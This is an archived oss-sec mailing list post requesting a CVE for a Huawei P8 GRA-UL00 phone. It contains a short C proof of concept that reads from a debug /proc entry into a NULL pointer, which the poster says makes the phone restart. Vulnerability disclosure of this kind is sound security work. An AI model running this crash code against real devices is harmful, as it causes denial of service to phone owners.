oss-sec mailing list archives
CVE request-HUAWEI P8 GRA-UL00
From: 郭永刚 <guoyonggang () 360 cn>
Date: Mon, 16 Nov 2015 02:56:41 +0000
Code below will lead P8 restart : #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <errno.h> int main(void) { int ret; int fd; void *p = NULL; fd = open("/proc/hi6402dbg/hi6402debuglevel", O_RDONLY); if(fd == -1) { printf("[-] Open failed (%d - %s)\n", errno, strerror(errno)); return -1; } printf("Open successfully\n"); p = (void *)0; ret = read(fd, p, 4); if(ret == -1) { printf("[-]failed (%d - %s)\n", errno, strerror(errno)); return -1; } close(fd); return 0; }
Current thread:
- CVE request-HUAWEI P8 GRA-UL00 郭永刚 (Nov 16)
- Re: CVE request-HUAWEI P8 GRA-UL00 Solar Designer (Nov 16)
- Re: CVE request-HUAWEI P8 GRA-UL00 Fabio Olive Leite (Nov 16)
- Re: CVE request-HUAWEI P8 GRA-UL00 Shawn (Nov 16)
- Re: CVE request-HUAWEI P8 GRA-UL00 Solar Designer (Nov 16)